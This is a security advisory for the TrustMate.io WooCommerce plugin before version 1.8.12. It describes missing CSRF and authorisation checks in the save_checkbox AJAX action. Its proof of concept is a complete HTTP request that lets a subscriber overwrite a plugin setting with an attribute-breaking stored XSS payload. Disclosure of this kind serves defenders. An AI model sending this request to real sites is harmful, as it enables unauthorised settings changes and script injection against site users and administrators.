TrustMate.io integration for WooCommerce < 1.8.12 – Subscriber+ Arbitrary Plugin's Settings Update

Description

The plugin does not have any CSRF and authorisation checks in the save_checkbox AJAX action, available to any authenticated users, allowing any authenticated user, such as subscriber to update arbitrary settings from the plugin. Due to the lack of escaping, it could lead to Stored Cross-Site Scripting issues

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Cookie: [any authenticated user, such as subscriber]
Connection: close

action=save_checkbox&checked="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//&optionName=trustmate_account_uuid